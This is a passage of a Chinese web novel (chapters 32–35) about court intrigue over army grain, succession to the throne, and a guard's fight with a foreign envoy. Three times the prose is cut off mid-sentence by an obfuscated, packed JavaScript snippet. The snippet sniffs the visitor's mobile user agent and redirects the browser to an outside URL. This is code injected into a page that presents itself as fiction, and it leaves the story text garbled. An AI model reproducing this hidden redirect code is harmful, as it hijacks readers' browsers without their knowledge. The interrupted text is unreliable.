因圣上特许陆思臣等人可以在阎都骑马行走,而陆思臣也坐不惯什么轿子,便像在番西之地一样骑马在街道上溜达,道路两边的百姓皆闪避:“扯些前尘往事罢了,他们想要拉我站队,自然要攀些关系。” 罗志不解:“他们能攀什么关系?陆家和崔氏就算往上数十八代都是八竿子打不着的关系吧?” “同窗之谊而已,如果不是他们我还不知道父亲曾在稷下学宫读书。” 陆川很少提及自己的年轻时候的事,所以不仅陆思臣不知道,连一直跟着他的罗志也不知道,闻言他感慨道:“我记得当年陆帅学富五车,治世策论写得也好,可只因出身寒门,就被人鄙夷,还要拿钱孝敬那些贪官取得举荐才有当官的可能。陆帅又向来不耻这些,所以处处碰壁,最后不得已才选择弃文从武来报效国家。” “……不过也正因此才有了如今的权势和魏西军。” 32. 制服 言语间皆是钦佩与崇拜。 他又道:“将军,他们只和你聊了这些吗?那……” 他左右环顾了一下,确认四周没有可疑之人才道:“那军粮一事……” 番西之地本就苦寒,农作植被脆弱,牧民原以放牧牛羊为主,可因与大梁商贸往来频繁,陆川驻守边疆期间又积极推动当地与中原的文化交流与传播农耕知识,导致当地居民渐渐放弃不稳定的游牧生活转而选择在周围建筑起房屋,农田,安居乐业起来。 这对朝廷和驻守在边疆的将士们来说都有好处,陆川负责将开拓的土地分给百姓,百姓有稳定的收成,实现了自给自足,不再吃一顿没下顿;陆川有税可收,再也不依赖朝廷那少得可怜的军饷;朝廷亦不用每年顶着巨大压力供给那么庞大的军队,这是三赢。 不管是将士还是百姓都指望着春耕之时,可今年的暴雪淹没了大片良田,而去年存储的过冬粮食早就吃完了,若不解决是要引起饥荒的。 陆川不愿百姓受苦,就将军饷拿出来分给百姓,可这样下去,将士们没有粮食,军心涣散,战斗力就直线下降,北边还有虎视眈眈的沙陀人…… 陆思臣此行除了照例回都述职,就是问圣上要军粮,军饷。 可圣上虽表面应允,实际却毫无作为。 他去户部要,户部不是装聋作哑,就是哭穷,最后又道:“没有圣令,我们也无能为力啊。” 踢皮球似的又将球踢给了圣上。 眼看回京述职的时间快过去了,他不能一直待在这儿,无法他只能去拜访崔太师。 不过看陆思臣的脸色,此行也不顺利啊。 陆思臣笑道:“不止,他们问我是否婚配,并有意将一位姑娘许配给我。” 罗志瞪大眼睛,嗓音都提高了不少:“什么?他们竟将主意打到将军你头上了?那他们不会是想将自己的家眷许配给将军……” 陆思臣摇头:“不会,就算他们想,圣上也不会允许此事发生,任由崔氏一家独大的。他们大概会从一个不起眼但却想攀附崔氏的官员家里选择一个姑娘嫁我。” 崔氏在文人世族里威望甚大,权势滔天,甚至隐隐有压过皇权的趋势,如果此时崔氏和陆氏联姻,这不是等于昭告天下,他们要谋反吗? 这可是要诛九族的,倒那时任凭他们如何表忠心都没用。 而崔氏也知道,所以他定会选择一个家世不那么显赫又可以任由人拿捏的姑娘嫁给他,再让军粮军饷成为嫁妆一起送到番西之地,既送人情又成“亲家”,一箭双雕,如果真成了陆氏和崔氏就是一条绳上的蚂蚱了…… 罗志没有陆思臣想得那么深,他现在满脑子都是“天要下雨,娘要嫁人”他们这位从小看着长大的小将军那么快就到了要娶妻的年纪了? 心中莫名有些惆怅和欣慰怎么办? 罗志的表情过于精彩,陆思臣一看就知道他在想什么,便好笑道:“放心,我还没答应这件婚事。” “那就好。” 罗志心中一松,紧接着又担忧起他未来的婚事。不过打眼一看陆思臣那张温和俊朗的脸,又不着急了。以咱们将军这样的样貌家世品行娶什么姑娘不行?! 便道:“拒绝了也好,这婚姻大事还是要父母之命,媒妁之言的,陆帅现在没在身边,就这样擅自答应算怎么回事啊,回去了也不好交代。” 陆思臣:“我也是这样说的。” 不过这只是其一。 其二:圣上现在对崔氏的态度很微妙,据他这几日的观察,圣上与朝中众臣的关系日渐恶化,而其中以崔氏为首的臣子尤甚,圣上怕是早已起了削弱崔氏在朝堂上的势力之意。 崔太师不可能不知道,就因为知道所以才拉拢陆氏,希望以此来对抗皇权。 算盘打得很好,甚至将圣上都不敢轻易许诺的军粮军饷都可以轻而易举地当嫁妆送给陆氏,解陆氏的燃眉之急,而他这样做就是仗着他的祖宅在南方富庶之地,根基深厚…… 可惜他这算盘注定落空,陆思臣不愿卷入朝堂之争,亦不想做什么异姓王。 * “杀人了,来人啊!快来……唔……” 几名异族打扮的仆从被五花大绑起来,口中依然在大喊大叫,嗓音之大,街坊十里邻居都能听见,迫不得已禁军只能将他的嘴堵住,否则耳朵都要被震聋了。 他的主人手脚也被束缚住,不过待遇就比他的仆从好多了,最起码没有以脸着地,可就算如此他也一脸愤慨,他仰梗着脖子,双腿牢牢钉在原地,任由别人怎么推搡都无动于衷,虎目死死地锁住站在不远处的人,像是要把人给生吞活剥了。 突然他大喝一声,全身肌肉暴涨,绑在他身上的绳索竟被他生生挣断,断绳散落一地,他双手抽出身边禁卫军腰间的弯刀,右脚一转,瞬间欺身而上。 顾之行刚来的第一天就领教过他的本事,所以没有并轻视对手,他侧身躲避,反手将剑从鞘中抽出进行格挡,两刃相抵发出刺耳的声音,弥且孛扎双臂力量凶猛,将顾之行逼得后退了几步,虎口被震得发麻。 顾之行知道不能和这种人硬碰硬,他们在力量上悬殊太大了,光靠蛮力是无法战胜他的。 他侧身,右脚踩在廊下的柱子上,一蹬而上,翻身到弥且孛扎身后,一个兔子蹬踹向将弥且孛扎后背。 弥且孛扎只觉后心一痛,待稳定身形后,转身,大喝一声,手腕一转,刀锋横扫向顾之行,几乎贴着他的脸庞削过去,削断了他几缕头发,断发飘在两人中间,而刚劲的刀风竟让顾之行的脸颊上冒出一丝丝血痕。 顾之行目光一凛,又和他拉开距离,没了压制,凭借着轻功优势,竟遛狗似的带着弥且孛扎满院子跑,偶尔的刀剑相抵,过了几招后又迅速分开。 顾之行在等他自己露出破绽,弥且孛扎的呼吸果然乱了,被气的。 他娘的,又使这一招,他脸红脖子粗地怒骂道:“你个大男人怎么磨磨唧唧的,一打架就知道逃跑,没用的东西!难不成大梁人都和一样是个就知道逃跑的懦夫?!” 这话不但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他这次是真的输了,输得彻彻底底,输给了他刚刚看不起的大梁人。 制服完人后,顾之行甚至连眼神都懒得给弥且孛扎,道:“拿绳子过来,将人绑了。” 禁军都被顾之行的英姿给折服了,一时没反应过来,半天才道:“哦,哦,哦……来了。” 这次他们长记性了,用得是泡过水的绳子,更不容易挣脱开。 他们七手八脚地将弥且孛扎捆绑起来,弥且孛扎哪会任由他们捆绑着,还想挣扎,但他受了严重的伤,这点挣扎在禁军面前就不够看了。 弥且孛扎见挣脱不开,便仰头用别扭的中原话骂道:“你知道我是谁吗?我是羌族皇室中最受宠的王子,我母亲是阿铁那的公主,是被神庇佑的人……你们竟敢这样对我,我回去后定会让萨普带兵踏破阎都,到时候我一定让你跪在我脚下,我要将你的筋骨一根根打断拆掉……” 弥且孛扎像一只愤怒的雄狮不断地将怒火发泄在顾之行身上,可惜这头雄狮被捉住了。不像草原上的雄狮,更像只落了水,又没了利爪,还在不停叫嚣的鬣狗。 顾之行对这些辱骂向来不放在心上,自始至终连眼皮都没抬一下,半分情绪都不给,他站在台阶之上,垂目,像个玉菩萨,又冷又清。 33. 熬药 弥且沣在旁将一切都看在眼里,可既没有劝阻,也没有帮忙,就算看到自己的兄弟族人被绑,那双三白眼里有的也只是沉稳与从容,其心机深沉比一点就炸,轻易就被人左右的弥且孛扎多上不止一点。 他在顾之行要离开之际,才跨步而上:“我们已被关在此处多日,不知大梁的皇帝究竟要如何处置我们?还希望这位中郎将可以明示。” “再者我弟虽犯了错,可这几日对他的惩罚已够多了。我们是作为实现两国友好交流的使臣来到这儿的,大梁的皇帝难不成要将我们当罪犯关一辈子吗?那大梁的皇帝心眼着实有些小了。” 自从“诏狱”一事发生后,他们就彻底被限制了自由。 这些人自小就在草原上自由成长,奔跑。如今却被迫囚禁在这一方之地,处处受到限制,时时被监视,尤其是他们还代表着自己国家的脸面,落差太大,他们自然接受不了。 更何况是那位从来没有受过一丝一毫委屈,自称“神之子”的弥且孛扎。 所以他才会几次三番想要冲出去,甚至大言不惭的要找李暨算账。 弥且孛扎不是没想过将他们被囚之事的消息放出去,可每次都被顾之行成功截获,他将这围成了一个密不透风的铁桶,任何事物都别想出入。 这也是弥且孛扎那么恨他的原因之一。 这话过于冒犯,身边的禁军立马抽刀直指于他,呵斥道:“大胆,竟敢对圣上不敬……” 顾之行抬手示意身下的人住嘴,他垂眼看向台阶之下的人,古井无波:“我会将你的话带给圣上。” 弥且沣:“那本王再此就多谢中郎将了。” 顾之行踏出同会馆,大门在他身后关闭,身后一直紧盯着他的视线才消失,顾之行吩咐看守在左右的禁卫军:“看紧点,不要让任何东西,任何人从你们眼皮子底下过去。” “遵命。” 顾之行步下台阶,小心地活动有些胀疼的手腕,皱眉。 弥且孛扎这人虽无谋,可胆识与勇气却是让人佩服,尤其是那一身的力气与武功。当今世上应该没有几人与他硬刚,而刚刚和弥且孛扎打的这一架,他当时虽没有表现出来,可被弥且孛扎扭过的手腕其实已经脱臼了。 若是在战场上对上,怕是就算折损多名将领都不一定将他拿下。 这个念头在顾之行脑海中一闪而过,可这些并不是身为暗卫的他该操心的事,他并没有继续深思下去,而是带着受伤的手腕向路人询问了去医馆的路线。 等从医馆问诊,拿药出来后已是日上三竿,他拎着大夫开的药方,又买了几样熟食当作午饭,随后一步一步往自己的住所走去。 为了方便出行和应对随时发生的意外,顾之行在会同馆的左边巷口里租了一个小院子,不大刚好够一个人住。 拐过一个弯,左转走进巷口,第一家就是他如今住的地方。 顾之行手刚搭在门扉上,突然转头,就见一个风尘仆仆的少年向他走过来,少年相貌无比普通,是丢进人群就不见了的类型。 可顾之行却一直盯着他看。 那少年一抬头刚好就迎上顾之行的目光,他似乎也没想到能在这个地方见到他,愣了下神才扬起嘴角,笑道:“好巧啊,哥哥是来这儿办事吗?” 顾之行收回目光,推开门:“不是,我暂时住这儿。” “是吗?那可真是凑巧,我昨天也搬到了这里,现在就住在哥哥的隔壁。” 李案跟随顾之行的脚步追上去,可站在门口又停住了,他伸头望了望院子里的景象,笑道:“哥哥我可以进来吗?” 这话问得奇怪,他又不是什么精怪,去别人家还需要得到住户的认可。 顾之行又看了他一下,才将药包放下:“可以。” 这一个动作将顾之行刚包扎好的手腕暴露在外,刚刚因为视角问题,再加上顾之行将手藏在袖中,李案并没有发现顾之行受伤了。 他现在才看见,而“顾之行受伤了”这个认知让他刚踏进院门的脚一顿,眼睛死死盯着顾之行的手腕,双眸中瞬间翻涌起某些辨不清的情绪,好似最珍爱之物被人破坏了,又像自己被人打了一巴掌,将他整个人生生定在那儿。 直到听见顾之行在屋内喊他名字,李案才强迫自己收敛起心绪,他走进屋,不在意笑道:“哥哥,你的手腕怎么了?” 顾之行坐在长凳上,已经替李案斟好了茶:“没什么,和别人打了一架。” “和别人打了一架。” 李案喃喃重复了一下顾之行的话才坐下笑道:“那哥哥是输了还是赢了?” 顾之行无甚表情:“赢了,我伤了他一双腿。” “赢了……” 李案又重复起顾之行的话,他笑道:“那哥哥能告诉我是谁和你打的吗?我想知道是谁那么厉害竟然能伤了你。” 顾之行并没有直接回答,只道:“山外有山,我并非无敌。” 总不能说和外番使臣打了一仗,还把人打得跪在地上站不起来吧…… 传出去被那些朝臣听见定会上奏质问其用心不良。 李案在听到顾之行这话时神色明显暗淡了下来,他笑道:“哥哥还是不信任我吗?” 顾之行不答,只转移话题:“你刚刚说你住在这儿?” 李案点头:“嗯。” 顾之行:“……” 他其实更想问李案为什么会住在这儿,但又觉得他不会老实答案,遂罢。 两人之间难得有了片刻沉默,若换做旁人,此刻怕是在想自己刚刚是不是说错话了,要不要回头找补找补。 可惜他遇上了顾之行这个不懂风情的人。 顾之行喝完手中茶,就要起身离开,李案立刻警觉,他也跟着站起来:“哥哥,要去哪儿?” 顾之行不解地看向他,摇了摇手中的药:“去熬药。” 李案“啪”地一下又坐回去了。 顾之行出屋,向厨房走去,李案将脑袋放在胳膊上,望着顾之行硕长挺拔的身影,眼神中带着某种痴迷,他喃喃道:“哥哥……” 正如他在无数个深夜里唤的那样,说着说着他将脑袋迈进了臂弯里,他不想让顾之行见到他这副样子。 太不堪了。 哥哥肯定不喜欢。 一无所知的顾之行还在研究他的药,他没熬过药,只能在脑海中回忆着刚刚大夫嘱咐过的话,再按照步骤去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517644|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做,幸而这家房子主人在厨房里留了药罐,否则他现在还要上街去买。 舀水,放药,盖起来,生火。 大夫说要用慢火熬。 一切准备就绪,然后…… “嘣”地一声,药罐炸了…… 声音大到屋顶都震了震,不知情的人还以为在放鞭炮。 李案听到声响立马跑出来,只见厨房一直在冒着滚滚浓烟,他神色一沉,抬脚要冲进去时,顾之行顶着一脑门的烟灰出来了,他将拳抵唇,低头咳嗽起来,衣服灰扑扑的都是灰烬,看上去好不狼狈。 李案:“哥哥你有受伤吗?” “咳咳……没事。” 顾之行摇头。 李案见顾之行真的没大碍,神情才放松下来,询问道:“哥哥,这厨房怎么突然发生了爆炸?” “……” 顾之行那张冷淡到极致的脸终于有了一丝裂痕,他略微偏过头,又似乎觉得这样在示弱,便转头直视着他:“发生了点意外,那个……你会熬药吗?” 李案一愣,随后笑道:“会,不过……” 他看着还在不断冒着浓烟的厨房,笑道:“现在当务之急要先收拾一下现场。” 顾之行:“……” 厨房里发生爆炸的那一块直接被炸出一个黑坑来,四周散落的黑黢黢,分辨不清原来模样的是一些药渣,尖锐的瓦片因爆炸产生的冲击力而深陷到墙里,地上还有点点火星闪烁着,很难想象刚刚到底发生了什么才变成这样。 李案一进屋就开始无脑夸奖:“哥哥真厉害,竟然能把厨房炸成这样。” 顾之行:“……” 李案怕顾之行不信又强调:“我说的是真的,这世上怕是没有几人能做到哥哥这样。” 顾之行揉眉,一时分不清李案是是真的夸奖还是讽刺,只道:“干活吧。” 两人合力干了半天才勉强将厨房恢复到原样。 干完后,两人都彻底变成了大花猫。 于是就从水缸里舀了一盆清水清洗一下脸和手。 “对了,哥哥后面要干什么?” 李案洗完后脸上还滴着水,一双眼眸看上去有些亮。 顾之行:“去街上。” 药罐他被炸了,总要买新的给人家,在加上他还要熬药。 不过在此之前顾之行要换身衣服,他总不能这副样子上街,肯定会被路人当成疯子。 而李案穿的衣服就俭朴很多,用手弹弹灰就行了,因此并没有回去换。 他在顾之行换衣服期间一直在屋内走动,似乎对这屋子里的摆设很好奇。 可惜这间屋子过于过于简陋,没啥看头,除了东屋放了一张床外,置物柜和洗脸架外,就没什么东西了。连房门都只用了一块布当作门帘来分割区域,用来招待客人的堂室就摆了一张四方桌和两条长凳,还有用来供奉祖宗牌位的供案。不过顾之行从不在意住行,再加上这儿离会同馆够近这才住了下来。 顾之行换好衣服就和李案一起去街上买药罐,再回来重新熬药。 有了前一次的失败的经验,这次他格外的小心,在李案细心的指导下终于成功熬出了人生中的第一碗药。 34. 判词 说出去大概谁都不会信,当今最受圣上宠信的红人,甚至不近人情到冷漠地步的千牛卫中郎将顾之行,现在竟和一个籍籍无名的少年挤在破旧的小院子里煮药。 顾之行将药倒在碗里,喝下,见李案一直盯着自己瞧,问:“有什么问题?” 李案摇头,目光终于舍得从顾之行脸上移开:“这里房屋破旧,我刚刚瞧了一下,屋檐久未修缮,下雨天怕是也会漏水,所以我想问哥哥怎么会选择住在这儿?” 顾之行:“……” 李案见顾之行不肯说,又道:“哥哥是因为会同馆?” 顾之行:“既然知道为什么还要问?” 李案苦笑:“哥哥当真是一点信任都不给我。” “我虽住在隔壁不过并不是冲着哥哥来的,所以哥哥没必要如此警惕,还记得我说过的吗?我同哥哥一样也是圣上的人。” 纵然李案如此解释,可顾之行的疑心却没有降下去。 也是,李案对待顾之行的态度太奇怪了,过于明显的接近,故作亲昵的话语。 而李案对待旁人却是无所谓甚至漫不经心的态度,区别太大了,任谁都会怀疑这人就是为了接近顾之行来的。 让顾之行不解的是,李案为什么要接近他? 难不成是知道了他的身份,想要威胁利用?! 可他说他是圣上的人…… 两人又一起破获了“黄河案”,照理来说是不该再怀疑他,可李案的身份又过于可疑…… 而在训练营的日子里教会顾之行的第一个道理就是:不要轻易相信一个动机不明的人。 顾之行反问:“既然不是为了我,那你为什么住在隔壁?” 李案笑道:“说起来哥哥大概不会相信,我是为了保证弥且孛扎会一直活下去,最起码保证在阎都人要好好地活着。” 顾之行蹙眉:“……有人想要杀他?谁会想要杀一个外番使臣?” “自然是能从中获利的人,不过……” 他抬头望了望艳阳天:“现在不急着去保护他,反正他一时半会儿也死不了。” 他看向顾之行,笑道:“哥哥你这儿有吃的吗?我饿了。” 顾之行没动:“……会同馆被我的人围了个水泄不通,你打算怎么混进去保护他?” 李案一脸理所当然:“自然是哥哥放我进去了。” 顾之行也笑了:“你就那么笃定我会放你进去?” 李案笑道:“当然,不仅如此,圣上还吩咐哥哥接下来的几日对会同馆的看守不用那么严实,可以适当的放躲在阴沟里的老鼠到处跑跑,只要不让它们跑出城就行。” 又怕顾之行不相信似的,补了一句:“哥哥若是不相信我的说辞,过后可以去问问圣上。” 顾之行:“……” 果不其然,没一会儿就有人敲响了顾之行的门,刚打开,一名头戴渔帽将大半张脸都隐在其中的暗卫,低头,轻声道:“老大,圣上有旨。” 说着就塞了一个小纸条给他。 是圣上亲笔,让顾之行放松管制…… 顾之行转头,看向屋檐上努力帮他修缮屋顶的人:“……” 屋顶好不容易修好了,接下去的时间李案就一直借着此事邀功,跟在顾之行身后像个怎么甩都甩不掉的小尾巴,蹭吃蹭喝就算了。 晚上还想睡在这里,美名其曰有些认床,睡不着。 顾之行:“……” 随着门“砰”地一声被关上,李案毫不在意地起身拍了拍屁股上的脚印,抬首看向院中低垂的柳树,月上柳梢头,树影随风摇晃,满地如厉鬼不停挥舞利爪。 他伸了个懒腰,在最后看一眼屋内的人后,脚尖一点,运用轻功,飞上屋檐…… * 皇宫,张净早已在明曦殿等候,桌上给李泽桉的药热了又热,才堪堪等到了人。 李泽桉卷携着冷风,大步跨过门槛,他撕下面皮露出下面那张清绝到妖冶的面孔,嘴角总是挂着一丝若有若无地笑意,没添加一丝亲和力反而给人一种莫名的邪气。 张净起身,行礼:“奴婢参见殿下。” 李泽桉似乎有些意外,笑道:“张少监不在房中养伤,深夜到访本宫的寝殿是父皇有什么吩咐吗?” 张少监垂首:“是奴婢一人想找殿下。” 李泽桉收起笑,他道:“没什么人发现吧。” 张净:“奴婢是借着给殿下送药的借口过来的,他们并不会起疑。” 李泽桉望了下桌上的药,声音平淡:“起来吧,有什么事值得你这么晚了还亲自过来前来找我?” 张少监抬头:“为立储一事。” 李泽桉:“……” 张少监神色肃穆:“圣上身体日渐虚弱,白日里还被朝臣气得吐血了,这还是头一次,身边伺候的宫人都有些乱了,最后虽有宫中太医尽心救治,稳定了病情。” “可圣上却感身体如油灯枯竭,第一次流露出想要早日立储,甚至打算明日一早就召集几个心腹大臣进宫商议此事。” 李泽桉笑意不达眼底:“所以……父皇想要立我那个七八岁的二弟为太子?” 张少监沉吟片刻:“还待商榷,主少国疑,小皇子现在还小,再加上以崔氏为首的世家权势日渐扩大,谁也不知将朝堂交由他会怎么样,万一外戚干政或者朝臣反叛……” 这些对江山不利的因素都要考虑。 这也是为什么李暨迟迟不立储的原因。 现在如此着急立储,身体怕是真的不太行了。 李泽桉嗤笑一声,眼神冰冷:“难不成你是想说父皇会立我为太子?” 他用手抚摸了一下右眼,含笑:“可我天生异瞳,从出生起便被视为不祥之物,你说一个不详的人如何能登基,治理朝政?” 是的,李泽桉右眼天生与旁人不同,别人是黑眸,而他偏偏是红瞳。 钦天监在他出生那一刻起便对他下了死刑。 瞳中一点朱砂劫, 座上三年烽火天。 若问何时清平至, 待到江山换姓前。 几句判词,就将他整个人生都打入了深渊。 也是李泽桉多年不受宠爱,连宫人都可以任意忽视,欺辱他的真相。 甚至连皇子正常的配额都可以克扣,宫殿里侍奉的宫人也没有几个。 李泽桉该庆幸,当时的李暨还愿意顾念着一点点父子之情,没有在他刚出生时就将他掐死,而是任由他自生自灭。 “殿下!” 张净下意识阻止李泽桉继续说下去。 李泽桉话音一转,又道:“不过放心,这皇位我还是想要坐一坐的,我倒想看看被一个不详之人统治的国家是否真的会灭亡。” 张净见李泽桉转这样说才稍稍放了些心:“我们走到如今地步,已经是箭在弦上不得不了,奴婢希望殿下一定不要放弃。” 李泽桉带着探究的目光看向张净,嘴角笑意还在却没有丝毫温度:“张少监的身上伤势怎么样了?还疼吗?” 张净神色平静:“多谢殿下关心,奴婢身上的伤已经好得差不多了。” “张少监会怪本宫吗?” 李泽桉坐在贵妃椅上,一只腿支在上面,摩挲着指尖笑道:“毕竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517645|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本宫害得张少监被责罚。” 提起那晚张少监神色变了变,却最终归于平淡,那晚他看着诏狱大火,几度心死,已做好了撤职,甚至被关入大牢的心理准备。可在此绝境之下李泽桉出现了。 他向张净解释了他的计划,并为他提供了一条出路。 将他的失职变成了一桩“用心良苦”的苦肉计。还借张净的口告诉李暨有一个一石二鸟之计,不但可以使外番使臣主动让出一半的朝礼;还可以…… 才让他侥幸保住少监一职。 张净:“这一切都是为了殿下的计划,奴婢没有怨言。” 不管有没有怨言,李泽桉都不在乎,他笑道:“那就好,天色不早了,父皇这时应该在找张少监了,本宫就不再留你在这喝茶了。” 张净:“奴婢告退。” 他踏出寝殿,走了几步又突然回头看,李泽桉一人身处在空荡荡甚至冷清的寝殿里,烛火明亮却好似从未照到过他的身上,有的只是无尽的孤寂,压抑。 “干爹。” 提着灯笼早已在前门等着的小宦官见张净出来,立刻弓腰道。 “嗯。” 张净点头:“走吧。” 小宦官在旁边小心翼翼地照明,行至后花园突然听见不远处传来一阵欢笑声。 小宦官见张净疑惑,便殷勤回答:“那边是昭仪娘娘正带着小皇子在玩耍呢。” “这么晚?” “是啊,干爹您不知道。小皇子最近不知怎么地晚上不睡觉,总闹着要出去玩,昭仪娘娘拿他没办法就只好陪着他在后花园走走,等玩累了再将他背回去,一连几日都是如此。圣上也知道,不过也默许了,只说不要耽误白日里的课业就行。” 张净:“……” 卧床休息的这几天,他还真不知道有这事。 眼看着昭仪娘娘带着众人往他们这边过来,张净站在一边,弓腰行礼:“昭仪娘娘安,小皇子安。” “平身吧。” 小皇子也学着季昭仪的话,对张净道:“平身吧。” “是。” 季昭仪的脾气在宫中是出了名的好,对待下人也温温和和的,几乎没人见过她发火的样子,她笑道:“我当时是谁,原来是张少监啊,我听说你最近身体不适,现在可好些了?” 张净:“多谢娘娘挂念,奴婢身体已无大碍。” “嗯。” 季昭仪并不知具体详情,只道:“天气虽回暖了,但偶尔还会冷上几日,张少监还是要多保重身体,这样才能更好的伺候圣上啊。” “奴婢多谢娘娘指教,定会保重自己的身体。” 季昭仪点头,牵着小皇子的手就往其他地方走去,小皇子穿着华贵,是真正的锦衣玉食,他一只手被母亲牵着,另一只手拿着民间的拨浪鼓。他长得很像季昭仪,所以脸蛋并不出色,可以说是平庸,只有一双眼亮晶晶的,带着懵懂和天真。 张净却忽然想到另一个孩子,那个孩子很漂亮,尤其那双眼眸,简直摄人心魄,仿佛可以透过你的身体看穿你最深处的灵魂。 而当时他明明已经非常狼狈和虚弱了,可对别人偶尔递过来好意却非常警惕,像是被打怕了的狗。不,狗没有那双狠绝的眼神,那神色仿佛下一秒就要暴起,一口将你咬死。 他像狼,一头怎么也养不熟的狼…… 不过在这吃人的深宫,一个没有母亲庇护的孩子,只有这样才能活下去。 张净叹息,不知为谁。 小宦官觑着张净的神色,不敢多说什么,直到张净道:“继续走吧。” 才急忙“嗳”了一声,跟上去。 35. 立储 紫宸殿外,金色琉璃瓦层层叠叠,晨曦折射出一缕微光,抬头看去红墙重重却是一眼望不到头的孤寂,汉白玉石阶上众商议大臣拾阶而下,相互交流。 崔文豪也赫然在列,不过他远落后众人与亲信走在一处,正被人搀扶着颤颤巍巍地下台阶。 顾之行有事需要禀报李暨,在与众位官位擦肩而过之时,他们的对话一字不漏都传入他的耳中。 中书舍人叹息:“圣上正值壮年就要立储,早日培养储君,这本该是件好事,可就圣上那身子骨真的能撑到二皇子成年继位吗?” “唉,这谁知道呢?” 另一位官员一脸八卦:“话说圣上就这一个儿子吗?” 年纪稍大的御史中丞:“你是今年新上任的官员吧?其实这涉及到多年前的宫闱秘事了,这圣上原本有两位皇子,不过另外一位皇子并不受宠,传闻他刚出生时,贪狼星芒大盛甚至一度盖过了北方帝星紫薇,钦天监夜观天象,预言说大梁必亡于他之手……所以圣上特意冷落他,甚至不允许宫内人提及他,以至于朝野内外不闻其人。” “哎,我还听说了另一个版本,说这皇子的生母在圣上还是亲王时便已侍奉在他左右,因容貌堪称倾国之色,圣上对她甚是宠爱,可惜她因难产而死,圣上一时悲愤不已,气绝伤身,不愿再睹物思人,才不见他……” 前面说的还算有理有据,后面就是一派胡言了,天家薄情,坐拥天下的帝王何至于为了一名女子就如此伤心,说出去也不怕贻笑大方。 这才子佳人的佳话只会出现在那些情爱话本子里。 众臣将这话嘲笑一番又把话题引入到立储一事上,左说右谈,最后觉得还是立二皇子比较妥当,他虽还小甚至资质平庸,不足以成就一番伟业,可若他听话,再在朝堂上设立个摄政王辅政,当个守成之君不成问题。 更何况圣上如今还在世,龙威还在,万一又和后宫的妃子生了个资质不错的皇子,到时再废黜不就行了。 反正无论如何是不会立大皇子为太子,一是谁也不知他秉性如何;二是那首判词终归让他们心有芥蒂;三是最关键的,崔氏亦选择拥立二皇子为太子。 “归根到底圣上过于体弱了,没能为皇室多留子嗣。遥想先帝当年膝下有十几位皇子,个个英武不凡,尤其是庆王礼贤下士,经韬伟略无一不通,在朝堂之间威望深重;还有秦王跟随褚帅在军中历练,战功赫赫;宁王也素有才名……” 御史中丞如数家珍将前朝亲王一一说出来,带着回忆往昔的神情:“如果当年庆王没有因谋反的罪名而被诛灭九族,说不定现在……” 可惜先帝当时正值壮年,看着一个个意气风发的儿子们竟感到了前所未有的惶恐,他怕皇权旁落,怕自己儿子们将他拉下皇位,他揣揣不安,终日惶恐,再加上有人为谋权在他耳畔挑拨离间,煽风点火…… 另一位立马打住他的发言:“别说了,你怎么还敢在宫中提起他们?是嫌脑袋不够砍吗?” “这有什么,圣上贤明,况且我大梁也没有明确法律禁止不谈前朝之事,我也不与旁人议论,只对你们说,难不成你们要告发我?” 虽然圣上和先帝都没有明确下旨禁止天下人讨论此时,甚至现在民间还有关于那场八子夺位之争的歌谣传唱。 可当年八子夺位之争太过激烈,亲王们无一不遭到先帝囚禁,罢免,流放……最终被逼的起兵谋反,又被先帝以雷霆手段镇压,抄家灭族,无一幸免。 一时间朝野动荡,朝堂的官员被血洗了一波又一波,溅在御史台上的血被也冲刷了一次又一次,血太多了,那些血渗透进砖缝里经年冲刷不掉;甚至还有传闻,若晚间路过那里还能听见冤魂的惨叫声。 甚至曾经风光无限,数百年屹立不倒的六大家族都受到连累,被清洗。现如今只剩下四个,其中两个也已经淡出朝堂,不闻朝事了。 现在一些老臣回忆当时,还有点胆寒。 当今圣上都差点被卷入这场争斗,是崔氏在关键时刻跪请先帝收回成命,而先帝或许杀子杀了太多,他看着体弱多病,母族不显,又在宫中安分守己地过日子的李暨最终动了恻隐之心,留住了这唯一的血脉。 先帝病重躺在病床上回忆往昔时,有没有悔不当初,如今怕是只有圣上和先帝临终前将圣上托付给崔太师知道了。 顾之行行至宫门前,让宦官进去通报,没一会儿宦官就出来了,向顾之行作了一个“请”的姿势。 顾之行走进去,因没有开窗通风,浓厚的汤药味简直压得人喘不过气来,药味比之前又重了许多,空中还隐隐掺杂着丝丝血腥味。 李暨不见人,用了个花鸟屏风将群臣隔开,灯光将其瘦削身影照映屏风上影影绰绰,分辨不清。下面竟还跪着两人,一人是汤士嘉;还有一人是和崔霄不对付的张作义。 李暨还算平稳的声音传来:“张御史不同意立麟儿为太子就算了,你身为他的老师为什么也不同意?难不成我儿当真如此不堪吗?” 汤士嘉跪地叩首,不卑不亢:“非微臣不愿,只是恕臣直言,二皇子资质过于平庸,三字经背了一月有余依然磕磕绊绊,更不用说四书五经,他年纪又太小,臣恐没有时间培养……” “而大皇子,微臣前几日与他有过一面之缘,他虽自小没有老师教养,可其胸襟宽阔,不但熟读经史子集,对我提问的策论亦能对答如流,像极了当年的庆王……” “微臣还以为不当听信钦天监的胡言乱语,人可胜天……” 